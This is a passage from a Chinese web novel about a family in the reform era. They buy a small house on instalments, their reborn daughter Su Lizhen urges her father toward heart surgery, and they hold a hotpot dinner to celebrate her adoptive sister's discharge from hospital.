要知道这些做领导的普遍人脉广,如果他们能成为家里的回头客,有他们带动,指不定将来能招来更多顾客! 而且除了这些,她这里还有个不大不小的事得说说。 “三位伯伯,以我们家的情况,买下这栋小楼已经是尽了全力了,要不然也不至于要你们通融,答应我们延期付清房款。但是我们这儿还有个不情之请,就是能不能请你们暂时帮我家保密,先不要对外透露,这房子是我们买下来的?” 苏丽珍特意把那个“买”字咬得重了些,脸上也适时露出几分无奈,“我知道这个要求有点无理,但是这么做真的能帮我们减少许多麻烦!我们也能顺顺当当把餐馆开起来,尽快还清尾款。所以三位伯伯,你们看行吗?” 在座的都是聪明人,一听就明白了苏丽珍的意思,财不露白嘛! 能花五千块钱买一座房子,这事儿本身就惹眼,这个钱数就更别提了! 就是他们,要一次掏出这么多钱,那也得伤筋动骨。 所以三人也都表示理解,承诺暂时不会对外透露这件事。 工会主席还忍不住逗苏丽珍:“这个自然是要答应的,要不然小姑娘你反悔,把送我们的卤味都要回去,那我们岂不是白让这香味把馋虫勾出来了!” 屋子里又是一阵笑声。 第62章 办公室很快拟好了合同,一式两份,纺织厂这边除了厂子的公章,还有安厂长亲自签名。 有了这份合同,即便房本暂时压在纺织厂,苏丽珍一家也不用太担心。 毕竟眼下这年月,各方面管理还很宽松,光是过了户也不算多大把握。 之后苏家一行又到财务室交款,按照合同约定,先一次性支付了2580元,剩下2500元则在两年内还清。 因为有安厂长提前打招呼,财务人员全程处理得很快。 交完款就是过户,安厂长工作繁忙,就亲自指派了先前接待他们的刘秘书跟着跑了一趟。 所幸目前还没有税改,加上房屋交易这块几乎是一片空白,所以还没什么税费一说。 加上刘秘书似乎跟房管所的办事人员很熟悉,打了声招呼,人家最后连手续费都没收,就直接给他们换了证! 从房管所出来,苏卫华和李翠英捧着新出炉的房本儿舍不得撒手,两人的情绪都有些激动。 不怪他们夫妻这么高兴,中国人对房子总有一种根深蒂固的情结。似乎有一座属于自己的房子,就如同大树有了根,再也没有了漂泊无依的惶恐和惆怅,这份满足是单单望着存折上的数字无法得到的。 更何况,这栋人民路的独栋小楼着实是个地方啊! 苏丽珍看刘秘书还等在一旁,正好今天他们准备的卤鸡、卤鸭,在送给纺织厂的三位领导后还有剩余,忙又从包里各拿出一只送给了对方。 刘秘书没想到这些卤味还有自己的份,脸上的笑容更加真切了几分,对于苏卫华夫妻俩反复摩挲房本、一直舍不得交回来的样子也只是笑笑,全程没有开口催促过。 可是再怎么割不舍,房本还是要给人带回去。 最终,夫妻俩依依不舍地撒了手,目送着刘秘书走出老远,才有些怅惘地叹了口气。 丁大勇挠了挠脑袋,宽慰两人:“师父、师娘,别看了!反正就两年时间,咱都加把劲,说不定一年就能把欠的钱还清了,到那时这房本不就回来了嘛!” 夫妻俩想想也是,反正那房本上落着他们苏家人的名字呢,不过是再多等一段时间而已。想想去年这时候,他们家还在为即将被收走机械厂的房子着急上火呢! 眼下这吃喝不愁、甚至还要住上二层小楼的日子,他们连想都不敢想! 夫妻俩那边恢复了心情,苏丽珍这会儿却没那么高兴了! 因为她发现自己被骗了! 刚刚在房管所换证的时候,她爸妈不顾他们之前在家商量好的,突然让办事人员把他们俩的名字改成了她的。 明明来之前,两个人满口答应,房子就记在他们夫妻名下。 结果事到临头,俩人忽然变了卦,任凭苏丽珍怎么劝阻都不行。 因为一直有外人在场,再加上怕让办事人员等太久,苏丽珍最终没能拧过两个人,眼睁睁看着名字换成了自己的,心里简直说不出的郁闷。 于是回家的路上,她少见的闷着头,不吭声。 夫妻俩自己乐呵了一会儿,终于发现苏丽珍不高兴,两人对视一眼,眼中却都染上了笑意。 李翠莹首先态度良好地认了错:“闺女啊,名字的事,之前是我和你爸骗了你,这事是我们当爹妈的不对,我和你爸先给你赔个不是!乖啊,别生我们的气。” 然后苏卫华又乐呵呵地赶紧接过话:“珍珍啊,爸跟你说,这事你也别不得劲儿。咱们家现在能有这么大的变化其实都要归功在你身上,要是凭我和你妈,这摊子都不一定支得起来!” “这人啊,有多大的能耐,就得端多大的碗!我和你妈天天看报纸、听广播,我们也明白了不少道理,那就是该担得责任我们一定得担,但是该撒手的时候也得学会撒手!将来这个家啊,还是得靠你,我们呢,就负责听你指挥!” 所以夫妻俩今天坚决要把房本的名字换成女儿的,一方面是基于对女儿的爱;另一方面,也是一种深深的信赖。 理解了这番用心的苏丽珍,却当场湿了眼眶。 两辈子了,这两个人给她的爱真的太多、太多了。 可她哪里值得呢? 她甚至都不知道自己能做些什么,才能回报他们万分之一…… 李翠英突然发现女儿哭了,顿时着急起来,“珍珍,这是咋了?咋还哭了呢?” 她手忙脚乱地帮闺女擦了擦眼泪,想了想,赶忙回头捶了苏卫华一下,埋怨道:“都怪你,我闺女今年才十六,你跟孩子说这些干啥!这不诚心给孩子添压力吗!你忘了今年八月底那会儿,珍珍还晕倒过一次呢!” 丁大勇也一脸不认同地看着苏卫华,“就是啊,师父!我小师妹每天上学那么辛苦,平时还要操心家里的买卖,你好歹是一家之主,咋能把担子都交给我小师妹呢!” 苏卫华看见自家闺女哭了,那都快心疼死了,还真以为是自己说错话,赶忙认错:“不是,闺女,你别误会,爸不是那个意思!” “爸是想说啥呢,就是今后咱们家里,你就相当于是……过去那个兵马大元帅!对,大元帅!爸就是冲锋的将军,你指哪儿,爸就打哪儿!往后啥活儿都交给爸,你就负责动动手、指指挥就行,爸就是这个意思!” 苏丽珍看着她爸急巴巴、拼命跟她解释的样子,心里越发愧疚难当,却再不敢表露半点,只能努力压下心t中的泪意,摇头道:“爸,你别说了,我都懂!我哭不是因为这个……实在是你们对我太好了,我觉得我做的还不够,我不配……” “不许胡说!” 不等她说完,夫妻俩就异口同声打断了她的话。 李翠英先是虎着脸,很快又绷不住,半搂过苏丽珍,一边帮她重新整理围脖,一边嗔怪道:“你这孩子,怎么能这么说你自己呢?这不是往爸妈心口扎刀子吗?” 顿了顿,她才又哄着苏丽珍,“闺女啊,妈还是那句话,你别给你自己太大压力,你已经做得很好很好了。说起来,其实是有我们这样没啥能力的爸妈,才拖累了你!” 苏丽珍顿时急了:“妈,不是,你们千万别这么想!我能当你们的女儿才是我最大的福气!” 夫妻俩听着女儿这番急切的表白,一颗心就像泡在了温水里,暖呼呼的。 苏卫华微笑着说道:“傻孩子,现在你明白当你那么说你自己时,我和你妈的心情了吧!珍珍,你妈说得对,不只是你,我们同样因为有你这样的女儿感到骄傲。” “所以正是怀着这种心情,我们才想把所拥有的一切都给你。” 听明白了父母意思的苏丽珍,擦干眼泪,扬起唇角,重重点了点头。 至少这一刻,让她先短暂地忘掉前世不堪的自己,能稍稍地享受一下来自父母的这份深深的爱。 夫妻俩看她似乎恢复了情绪,这才松了口气。 回去的路上,李翠英和苏卫华分别走在了苏丽珍的一左一右,把她护在中间,像是如此就能替闺女多挡一点两边吹来的寒风。 李翠英路上一直拉着她的手。 “傻闺女啊,不要整天想着必须要让我们过上好日子。其实在父母的眼里,只要每天都能看见孩子过得健康、快乐,那就是最好的日子了。” 那天晚上,伴着脑海里不断回响的这段话,苏丽珍第一次没有失眠,更没有因为梦到前世而中途醒来—— 苏家顺利买下了房子,这是大事,也是好事,而且最近他们家的好事也不止这一桩。 鉴于林小麦的伤势恢复得比较快,所以经过医生细致的诊断后,正式宣布小麦本周五就可以出院了。 当然,医生嘱咐的注意事项也不少,比如病人出院后,不能着急上火,更不能做繁重的体力劳动;定期回医院复诊,内科老专家们给开的药,也需要坚持吃一段时间。 趁着小麦没什么大事,即将出院的空档,苏丽珍催着她爸苏卫华去心内科做了一次复查。 心内科的医生检查后,说苏卫华这半年病情控制的不错,但是还是建议他们有条件的话,能考虑做一个心脏手术。 现在院里相关的手术已经累积了不少经验,手段也比较成熟。尤其今年一年,他们陆续接诊了好几位年龄在60岁以上的老人,这些老人术后普遍恢复良好,寿命延长是一定的了。 而苏卫华的年纪毕竟还不算大,才刚过四十,所以他们建议如果家里条件允许的话,病人应该及早来做这个手术。按照他们的经验,手术进行的越早,术后的康复情况也会越好。 苏丽珍对这个手术十分在意。 这件事也可以说是她的一个心结,上辈子苏卫华舍不得治疗费,根本不同意做手术。她跟着她妈劝了几回,见她爸一直不同意,就没心没肺地不再提了! 所以这回,她无论如何也要尽快让他爸做这场手术。 于是,她直接跟医生敲定好,等到明年春暖花开的时候,就带着他爸来做手术。 苏卫华这回还是有点不乐意来,倒不是心疼钱,主要是想着那时候家里的饭馆儿应该已经开了。 作为家里唯一的男人,他不想把事情都扔给媳妇儿和闺女,所以想把这台手术再往后推推,先看看家里饭馆的营业情况再说。反正医生都说他的病现在控制的很好,那就先继续吃药呗。 苏丽珍听了他这理由,直接笑着劝他,说家里饭馆将来主打卖火锅,以现在连台电风扇都是好东西的年月,火锅当然是天冷的时候吃最好。 所以可以预见,等到天气转暖后,生意肯定要受影响,让苏卫华趁那段时间来做手术,不是正合适吗? 而且再不济,他们还可以雇人啊!本来在她的计划里,将来饭馆开起来后,也是要招一些洗菜洗碗的工人,苏卫华夫妻俩就负责在一旁看着就成。 要是因为开店,倒把夫妻俩拴住了,什么也做不了,那不是本末倒置吗? 苏卫华想了想,不得不承认还是闺女说得对,这回很快就同意来年春天做手术的事。 第63章 时间一晃到了周五小麦出院的日子。 赶巧这一天,天空灰蒙蒙的,到了下午的时候,还飘起了雪花。 按照苏丽珍学校的规定,外宿生雨雪天可以不用上晚自习。 等下午最后一节课结束,李老师刚一宣布完外宿生可以提早回家,苏丽珍就一反常态,用最快的速度收拾好书包,跟同学们打了声招呼,就在大家惊讶的目光中第一个冲出教室。 到自行车棚取了车子,她一路两只脚蹬得飞快,到家时硬生生比平时快了三分之一的时间。 一进屋里,一股暖洋洋、裹夹着食物香味的热气就直扑面门。火房里一片氤氲的水汽,与两边大屋相连的两口灶台里火苗正旺。大铁锅里食物翻滚,香味更是一阵比一阵浓,简直叫人闻一下都要流口水。 作为庆祝小麦出院的重要日子,今天晚上这顿大餐就是之前苏丽珍在医院里承诺她的火锅。 这会儿,李翠英和丁大娘正围着灶台有说有笑地忙活着,一见她回来,丁大娘立时笑了,“哎哟,珍珍回来了!” 她飞快擦了擦手,一边走过来帮苏丽珍掸掉身上的落雪,一边假意“告状”:“下午下雪,你们这儿胡同里的道又难走了,我就说让你大勇哥到路口迎迎你,省得天黑摔着,你妈就是不让!” 苏丽珍抬头朝丁大娘一笑,取下挎在身上的书包,看了忙着给她打热水洗手的李翠英一眼,笑道:“没事,大娘,这条路我走习惯了,轻易不会摔跤的。再说,以后也走不了多长时间了。” 丁大娘一听这话就拍手乐道:“是这么回事!我刚才还跟你妈说,等你们家搬到那小楼上,这以后再不用顶风冒雪来回跑,也不用整天把那些锅锅盆盆的搬来搬去,既省事、还省心!” 李翠英也笑道:“主要是那里离一中也近,珍珍上下学都方便。说起来我和她爸其实之前也想换个地方,倒不是为了摆摊,主要还是孩子离学校远,下晚自习太遭罪了。” 正说着话,东屋的棉门帘子一掀,丁大勇探出头来,一见苏丽珍忙道:“我就说好像听见小师妹动静了,快赶紧进屋暖和暖和吧!” 苏丽珍洗了手,正说要给李翠英两人打打下手,却被丁大娘直接推进了屋里。 “这不用你,上一天学就怪累的,赶快上炕歇歇,再说我和你妈都准备得差不多了!” 丁大勇也直催她,说是这里有他就够了。 等进了屋,桌子上已经摆好了两个铜锅子,苏卫华正捏着夹子,往锅肚里添炭火。 一看见自家闺女进屋,他笑得眼睛都眯了,嘴上却喊道:“闺女啊,先别往爸这儿来,看给你烫着!”。 这俩铜锅子,其中一个是家里用换的工业券在日用百货店新买的,另一个是从隔壁毛大娘家里借来的。 说实在的,她也已经很多年没有看见这东西了,一时还有些好奇,不过看她爸不放心,自然乖乖没敢靠前。 大炕上,苏丽珍惦记了一天的林小麦此时正靠坐在火墙边儿上,和丁大勇的小外甥女甜甜玩着翻花绳。 小麦很会哄甜甜,把小姑娘逗得小嘴嘎嘎乐个不停,满屋子都是她的笑声。 林小麦看她过来,抬头朝她一笑,眼睛亮亮的,“我妹子回来了!” 这声“我妹子”把苏丽珍的心情叫得格外好,她忍不住高高扬起了唇角,“嗯,我这一下午都在想着你出院顺不顺利,好几次差点溜号。” 林小麦听完,晶亮的眼中划过一抹儿暖色。 在她心里,苏丽珍是个很内敛的人,明明年纪不大,可对自己的要求严格近乎苛刻,对别t人也不会轻易表露内心的情绪。 现在听到她说,惦记自己到上课无法专心的程度,林小麦竟然控制不住地感到开心! 是真心把她当做了自己的姐姐,像真正的一家人那种,所以才会这样吧! 真好,她有了真心待她的干爸、干妈和妹妹。 嗯,对妹妹自然不用太客气。 于是,她直接仰脸大笑了两声,“哈哈,我记得你说还有三周就要期末考试了,你现在不好好用功,小心到时候头名不保。” 苏丽珍扬了扬眉,“竟然还笑话我?我这样是因为谁啊?” 林小麦连忙“低头”:“我错了、我错了!” 苏丽珍学着谢芳芳平时的样子,双手抱胸,下巴一抬,鼻子里重重哼了一声,“算了,我大人不记小人过,就罚你今晚多吃点好了!” 见她这做派,林小麦眼睛都瞪圆了,好半晌才反应过来,“噗嗤”乐出了声。 苏丽珍看她笑了,自己的嘴角也微挑。 只是,等她转头看见旁边正呆呆看着自己的苏卫华和丁大勇时,嘴角的笑容倏地僵住了。 她爸不是刚刚出去送碳火去了吗?还是大勇哥,手里还端着菜,什么时候进来的啊! 她慢腾腾地放下两只手臂,略微僵硬地说了一句“我先出去看看”,就逃也似的跑出了屋子。 身后很快响起林小麦的笑声,接着是她爸和大勇哥的。 最后小甜甜似乎也被大家的笑声感染,跟着哈哈使劲笑起来,这会儿哪怕是站在厨房里都能听到屋子里的阵阵笑声。 李翠英忍不住对丁大娘笑着摇了摇头,“这屋里也不知道背着咱们说啥高兴的呢,瞧把他们乐的!” 正想问问闺女,结果一抬头看见苏丽珍小脸通红,给她吓了一跳,“珍珍,你这脸咋这么红呢?不是发烧了吧?” 苏丽珍赶忙摇头,“没有,妈!我是……今天回来的时候围脖没戴好,大风吹的!” 李翠英到底不放心地往她身上摸了摸,确定她没有发烧,这才无奈地嗔了她两句,“知道你惦记小麦,但是下回别这么粗心了,瞅你这脸红的!你爸年轻那会儿跟人拼酒,一口气喝下一瓶老白干也没你现在这么红!” 苏丽珍尴尬地笑了笑,心里话其实她一口气喝一下一瓶老白干,脸也不见得这么红。 之后这一晚上,也不知道是不是她错觉,总觉得屋里这几人看她的眼神都不大对劲。 除了小甜甜,小麦是要笑不笑,极力忍耐的样子;她爸是时不时用一种看小动物的目光,脸上偶尔还带点老奶奶般的慈爱。 到了大勇哥那里,就是全程目露古怪,欲言又止,也不知道是联想到什么地方去了。 偏偏她又不好问! 苏丽珍无奈扶额,心里一个劲儿叹气。果然该什么人,办什么事!她苏丽珍两辈子都不是那块材料,这种割裂感再来两次,估计她爸和大勇哥要担心她精神分裂了。 好在美食能缓解一切尴尬和愁闷! 李翠英为今天这顿火锅大餐准备了两种汤底,一种是高汤做的清汤锅;一种是简易版的川渝麻辣火锅,是给爱吃辣的丁大勇娘俩准备的。 两种锅底都以高汤为基础,就是麻辣火锅的锅底需要提前炒制好,因为是简易版,自然也不算麻烦。 锅底有了,其次当然是各种涮品。 荤菜以羊肉和猪五花为主。羊肉是张表舅前两天送来的,是他特意从大队附近的回民村买回来的,足足有半扇羊! 羊骨熬汤,羊肉被李翠英切成薄片正好涮肉吃。 想着甜甜年纪小,赶上副食店今天居然有不要票的冻鲅鱼,李翠英和丁大娘抢了几斤回来,挑最大的解了冻,剁成茸,再添点猪肉末,做了两盘鲜美的鲅鱼丸子。 李翠英怕大伙儿吃的不尽兴,光是肉就切了几大盘子,每一盘都码得老高,看得丁大娘龇牙咧嘴,一个劲喊着够了够了! 苏丽珍还听见她偷偷叮嘱丁大勇,叫他待会儿上桌,别看见肉多就猛吃,尝尝味就得了,可不能这么糟践人家的好东西,顿时哭笑不得。 吃火锅当然不能光吃肉,就着煮过羊肉的汤底涮素菜,那素菜比肉的味道也不差。 不过这年月,冬季里的蔬菜品种少,没啥绿叶蔬菜,但是李翠英还是准备了不少:大白菜、酸菜、萝卜片、土豆片、木耳、冻豆腐、干豆腐和粉条。 这些往桌上一摆,盘子叠盘子,碗贴着碗,把桌子占得是满满当当,看着就热闹。 一切准备就绪,伴着两个铜锅汤汁咕嘟的声音,由苏卫华这个一家之主做代表,给大家简单讲了几句。 今晚这顿饭,一方面是庆祝小麦身体好转,顺利出院;另一方面也是感谢丁家娘儿俩这段时间跑前跑后地帮忙。 最后他还特意强调,今天只是自己人先简单吃一顿庆贺庆贺,等以后小楼那边收拾妥当了,还要在那边正式摆桌,跟大家宣告他们老苏家收了个干女儿。 这番话说得简单,却实在。 林小麦听完,眼角不由泛起了水光,笑得特别开心。 讲完话,大家开动,还是由苏卫华先做示范,他夹起一片薄薄的羊肉片,往清汤锅里涮了几秒钟,夹出来,再蘸点碗里的蘸料,这就可以吃了! 其他没吃过的人一看就明白了,纷纷照着他做。 李翠英的刀工好,羊肉和猪五花都切得非常薄,此刻经过高汤涮煮过更是香味扑鼻,再蘸一蘸同样闻着就很香的酱料,只一口,林小麦三人就被这满满的鲜、香、嫩彻底征服了! 丁大娘依依不舍地咽下口中的美味,好半晌,才喃喃道:“原来这就是火锅啊,可真好吃……要是他爸还活着,也能尝尝该多好。” 丁大娘一生坎坷,年轻时娘家穷,因为拼命干活差点累垮了身体。好容易嫁了个城里人,虽然比她大了十来岁,可是丈夫对她却很好。 只是没想到老天爷心狠,看不得老实人过安生日子。 丁家的大儿子支边的时候因为救人牺牲了。唯一的闺女把接班的机会让给弟弟,自己也去下了乡,在那边嫁了人。结果男人考上大学,扔下一点钱,就把大着肚子的她一个人丢在了乡下。 等他们接着讯赶过去的时候,人已经不行了,就留下一个早产的小闺女。 丁大娘的老伴禁不住这一连串的打击,没到一年也撒手人寰了。 剩下家里老的老,小的小,还有那么多的债,那两年的日子是真难啊。 苏卫华夫妻知道大嫂这是想丁家老哥了,赶忙招呼大家赶快动筷子,别让锅子空煮,还喊丁大勇多帮他/妈涮肉。 李翠英也抱着小甜甜,让她哄姥姥多吃肉肉。 小甜甜果然向着姥姥,见桌上其他人都在伸筷子,只有她姥不动,立马急了,“姥,次!次肉肉,快!” 最后那声“快”喊得格外响,把一屋子人都给逗笑了。 丁大娘抹了把眼角,抱过自家这个小心肝,乐呵呵道:“好,姥吃!看姥姥给我们小甜甜涮个大鱼丸!” 丁大勇看他妈恢复了情绪,自己也松了口气。 他是个笨嘴笨舌的,不知道怎么安慰人,只知道听他师父的,不停往他/妈碗里夹肉。 回过味儿来的丁大娘看着碗里小山似的肉片,要被儿子气死,可是气着、气着,她又忍不住笑了起来。 过去的终究是过去了,人啊,还得往前看。 第64章 铜锅子的火一直烧着,等把桌上所有的食材都涮过一轮后,女同志们的肚子已经八分饱了。 大家终于能够从被火锅牢牢吸引走的注意力中分出一点,来讨论一下今天的火锅。 今天这顿火锅也算是给未来的饭馆第一次试菜,大家正好可以给提个意见。 首先有话说的是丁大娘,她自己特别喜欢李翠英调得芝麻酱蘸料! 她本身是不怎么吃得来羊肉的人,觉得火锅里的羊肉也多少带了点膻味,可是一蘸了这个料之后,不但很神奇的再尝不出一点羊膻味,嚼起来还多了一股别的香味,具体的她也说不出来,反正挺招人回味的。 关于蘸料,也确实是苏丽珍和李翠英关注的重点。 本来蘸料这东西,就像吃面条时最后往里加的香菜、醋汁和辣椒油,有人喜欢全都放,有人习惯只放一两种,还有人干脆什t么都不喜欢加,反正每个人都不一样。 兴许你自认调出来的最好吃的蘸料,在别人的口味里仅仅是一般。 不过因为丁大勇娘俩和小麦都没有吃过火锅,也不知道蘸料该怎么调,所以李翠英就按照《料经》中记载的方法,直接帮大伙儿调出了两份蘸料。 一种是配清汤锅的芝麻酱蘸碟;一种是跟川渝麻辣火锅适配的传统香油碟。 没想到丁大娘虽然喜欢吃麻辣火锅,却对配清汤锅的芝麻酱蘸料情有独钟,直说这么好吃的蘸料,别说拿来蘸肉了,就是用来蘸窝头都香。 其他人也都说好吃,林小麦甚至发散思维,觉得可以用这个蘸料配面条,一定能卖得好。 见他们这么喜欢,苏丽珍心里的底气也更足了。 火锅包容性强,喜欢的都能拿来涮一涮,但是本身并不复杂。对于一家火锅店来说,只要把锅底和菜品质量把握好,基本就能站住脚,入门的门坎不算高。 如此一来,想要在口味上做出自己的特色就不容易。一开始或许还能因为新鲜感吸引食客前来,可一旦被人跟风模仿,顾客也很容易被轻易拉走。 川渝的麻辣火锅还好,它的锅底配方相对复杂,清汤锅却是无论怎么复杂,起到决定作用的都是高汤。 只要有人稍微用心钻研一下,甚至不用那么麻烦,只用最基础的大骨汤,也能成就一锅味道鲜美的火锅,无形中更加降低了复制模仿的难度。 这也是开火锅店的弊端之一。 要是在这种情况下,如果店里能有一种别人家调不出来的的美味蘸料作为特色,在现今大众对美食的见识度远远不高的年代,直接一步到位,把大伙儿对火锅蘸料的期待值拉满,吃一口就念念不忘,说不定就能在未来的竞争中起到关键作用。 除了芝麻酱蘸碟,李翠英调好的香油碟也得到了大家一致好评。 第一次吃到的这种主打香油和蒜蓉结合的蘸料,大家还有点不习惯,不过再尝过一口之后,瞬间觉得惊艳十足! 实在是这种油碟蘸料,直接把麻辣火锅的香味拔高了一个层次,他们组合在一起简直堪称完美。 唯一不尽人意的就是今天的麻辣火锅因为配料不全,不太正宗。 这也是李翠英最遗憾的一点。 不过丁大娘和丁大勇还是很喜欢,娘儿俩都喜欢吃辣的,在尝过第一口辣锅后就不怎么碰清汤锅了,虽然被那红彤彤的锅底辣得满头是汗,却还是忍不住一筷接一筷地往那锅里伸。 麻辣锅底越煮越辣,李翠英和苏丽珍只敢偶尔夹一两筷子过过瘾,到后来,连丁大娘也顶不住了,感觉香油碟都拯救不了这火辣辣的痛觉,只能依依不舍地转去清汤锅。 只有丁大勇还在坚持,大伙儿都劝他吃点清汤锅缓一缓,他说啥也不干,非得要留肚子吃辣锅,弄得大家哭笑不得。 最后,一顿火锅吃完,他嘴巴都辣肿了,气得丁大娘直接搥了他一拳。 看他吃得那么上瘾,不能吃辣的苏卫华和李小麦都有些眼馋。 苏丽珍就给两人各自端了一碗清水,让他们把辣锅里涮好的食物重新在清水里过一下,稍稍尝尝味。 就算是这样,这爷儿俩依然吃得津津有味。 两人还互相交流“心得”,这个说“过了清水的肉片还能尝到一点辣味,真好吃”,另一个就马上回“土豆片和冻豆腐在锅里煮的时间长,清水过一遍还能吃到很浓的辣味,赶紧挑这样的吃!” 苏丽珍:“……” 于是,她朝两人微微一笑,果断起身收走了两碗清水。 苏卫华和林小麦:“……” 他们能怎么办,闺女/妹妹这么严格……就,还接着吃清汤锅吧,反正也很好吃的! 李翠英看得捂嘴直乐。 这顿大餐,一直吃了两个小时,大伙儿对今晚这顿火锅的评价都是极其喜欢,尤其是麻辣鲜香的川渝火锅,太叫人上瘾了。 虽然它也许算不上绝对正宗,可能对于一个川渝人来说,它只能达到六十分。 但是苏丽珍考虑的是,都说一方水土养一方人,一种地方特色美食离开孕育它的土壤,到了新的地方,在重新扎根的过程中,为了赢得当地市场的青睐,也势必会做出一些调整。 在这个基础上,他们完全可以另辟蹊径,不去考虑自家火锅能否做到百分之百正宗这个问题,而是研究如何在做出川渝火锅特色的同时,让口味往本地人靠拢。 眼下,绝大多数本地人都没吃过正宗的川渝火锅。他们不会评价你这东西正不正宗,但是会用行动告诉你,你店里的食物好不好吃,能不能让他们的脚再迈进来第二次,甚至达到流连忘返的程度。 这才是一家餐馆需要优先考虑的问题。 而今天这顿饭无疑给了苏丽珍很大的信心。 入夜,李翠英和苏丽珍一起帮着林小麦洗了洗头发,简单擦洗了一番,就扶着她上炕休息了。 李翠英把被褥给两个闺女铺好,又悄悄对苏丽珍交代:“珍珍啊,今晚别学了,也不差这一天。你陪小麦说说话,等明天我和你爸出摊,就剩小麦自己在家,怪没意思的。” 苏丽珍点头。于是,也早早洗漱完毕,上了炕。 西屋的炕不算小,睡三个人也绰绰有余,不过两姐妹还是枕头靠着枕头,选择挨在一起睡。 怕小麦第一晚上不习惯,她没有马上关灯。 两人面对着面躺着,林小麦朝她咧嘴笑了开来。 “珍珍,我今天真高兴!” 苏丽珍看着,也不自觉笑道:“我也很高兴!” 顿了顿,她又故作不满道:“当然,就算你们一直在偷偷笑话我,我也没记恨你们。” 这话就像碰到了啥机关,林小麦一下想起了她之前那完全跟本人气质不符的做派,顿时又笑得不行。 苏丽珍只得一脸无奈道:“差不多得了,你妹妹我还在这儿呢!喂,真以为我不要面子的?” 林小麦赶忙讨饶,不过嘴上说的好,却把脸埋在被子里,偷摸笑个不停。 笑闹了一阵,大抵是身体还虚弱,林小麦很快就睡着了。 只不过,睡着的她并不像白天表现的那样无忧无虑,眉头会时不时蹙起,似乎梦里发生的事让她很不开心。 苏丽珍替她掖了掖背角,轻轻拉了灯绳。 黑暗中,她盯着模糊的窗帘,目露沉思。 看来近期还要去林家屯一趟,那个家对小麦来说,就相当于一颗定时炸/弹。 她得想想用什么法子,把这个隐患尽快解决掉—— 一晃儿又到了星期天。 上午,苏卫华夫妻出摊后,苏丽珍就跟林小麦打了招呼,出门去了安厂长家拜访。 安厂长家的地址是她向谢芳芳提前打听来的。听谢芳芳说,安厂长很喜欢吃他们家的卤味,一直赞不绝口。 上次在纺织厂不方便拿太多,这次单独过去,苏丽珍自然准备得足足的。 除了上一次的卤鸡、卤鸭,这次还有卤猪肘、卤猪头肉、猪蹄和香肠,满满当当装了一大筐。 听说安厂长喜欢吃辣的,李翠英还在这回的卤味里分出一半来,特地给加麻加辣,估计安厂长应该会喜欢。 苏丽珍这次去,一方面是专程向安厂长道谢;另一方面还想向安厂长打听下,看对方认不认识关于室内装修改造这方面的工人师傅。 家里的二层小楼要好好收拾一下,尤其是准备开店的一楼,有好几处需要改动的地方。 按照苏丽珍的想法,她打算把一楼东边两间客房间隔成四间,用来做饭店的包房。 原本客厅与餐厅的连接处,是半墙壁加半中式隔断的设计方式,如今那些木制的隔断早已经七零八落,剩下半截光秃秃的墙壁横在那里,实在不好看。 她想干脆把这些墙壁都拆掉,直接把餐厅并如客厅,这样饭店大堂就更加宽敞了,而且一目了然,看着也顺畅。 至于西边的厨房,各方面都还行,暂时不需要改。但是那间佣人房,她想将它隔成一大一小两间。 大间用来做贮藏室,挨着厨房,大家进出取放东西也方便。 关键是小间,她打算把那里设置成专门放置火锅锅底和老卤卤汤的地方。平时门上挂锁,钥匙也只由自家人保管,防止将来有人浑水摸鱼,打配方的主意。 另外,一楼和二楼还都需要加几组暖气,还得改改水电。 这样一来,拆的拆,改的改,工程量不小;加上房子又是这种二层的小洋楼,全凭自家人那点儿盖房经验,肯定不行,所以必须要找t专业的人来做这事儿。 可惜自家认识的人不多,想来想去,也只好再次来麻烦安厂长帮忙介绍个熟手的大师傅。 第65章 本来苏卫华夫妻是想一起过来的,但是昨天才出摊,接连停了两个礼拜的生意,可把老主顾们想坏了! 昨天做的那些卤味,几乎不到两个小时就卖得啥也没剩。 大伙儿又千叮万嘱地让他们务必今天多准备些,看那架势,夫妻俩今天是有得忙了。 看安厂长对自家闺女好像挺喜欢的,两口子想着反正闺女比他们会说话,索性就让闺女做代表走一趟好了。 安厂长家里,正好安厂长夫妻都在家,看到苏丽珍来十分高兴。 安厂长是真的很喜欢吃苏家的卤味,见苏丽珍拿了这么大一篮子卤味,嘴上念叨着他们不该这么多礼,手上却不见外地直接掰了一块儿香肠就往嘴里塞。 气得安伯母瞪了他好几眼,直骂他在人家孩子面前没个正样儿。 安伯母今天是第一次见到苏丽珍,不过因为近日常从爱人和外甥女口中听到这名字,倒也不觉得陌生,又见这闺女长得白净讨喜,做事也是大方知礼,不由心里喜欢。 她热情地招呼苏丽珍坐下,又忙着倒水、端水果,甚至还不知道打哪儿摸出个糖盒子,从里头抓出一大把花花绿绿的糖果就使劲往苏丽珍手里塞。 “孩子,来吃糖!这个牛轧糖可香了,你多抓点……还有这个酒心巧克力,芳芳最喜欢吃,你也多吃点!” 这边,安伯母热情抓糖;那边,安厂长却在拍着大腿喊“真香”。 “哎呀,这香肠也太好吃了!丽珍啊,你们家这手艺可真不一般!” 他朝苏丽珍猛竖大拇指,连连夸道:“你们家的香肠本来就有一股别家做不出来的香味。这回还加了辣,吃一口麻麻辣辣,喷香喷香的,我头一次吃这么好吃的香肠,可太美了!” 不行,他还得再来一根! 可惜这回,他的手才伸道一半,安伯母就把整个篮子给拎走了。 “行了,你那胃还想不想要了?等中午我热热再给你吃!” 数落完安伯伯,她才转头对苏丽珍笑眯眯道:“丽珍啊,你先陪你安伯伯说会儿话,阿姨去给你把篮子腾出来!” 说着又朝安厂长的方向努努嘴,语气促狭:“主要是伯母得把你这些好东西先藏起来,要不然都不够家里的‘大耗子’偷的!” 苏丽珍忍不住抿嘴直乐。 安厂长没有一点被爱人指认为“大耗子”的不悦,反而一脸遗憾地看了看墙上的挂钟,嘟囔道:“这才九点啊,离中午吃饭还得三个小时呢,真是个漫长的等待啊。” 苏丽珍:“……” 原来你是这样的安厂长! 不过说实话,看到对方这样喜欢自家的卤味,苏丽珍心里还是很高兴的。 接着,一大一小寒暄了两句,苏玉珍也不墨迹,很快说明来意。 安厂长听完,当即就说他这里还真有个合适的人。 他找出纸笔,一边写字,一边对苏丽珍介绍道:“我给你介绍这人叫薛有粮,跟我们家也是多年的老交情。他原来是市建工局下面施工队二大队的队长,今年秋天才退休的。” “他在岗那会儿,手底下最多的时候管过二百来号人,参与承接过很多大大小小的工程项目,绝对是个老资历!正好现在他退休在家没啥事,你去找他准没错!” 苏丽珍一听是这么厉害的人,不禁有些犹豫。在她原本的打算里,能找个懂行的熟手师傅就行,没想到安厂长会给她推荐这样资深的行家,一时觉得怕人看不上自家这点活儿,便有些拿不定主意。 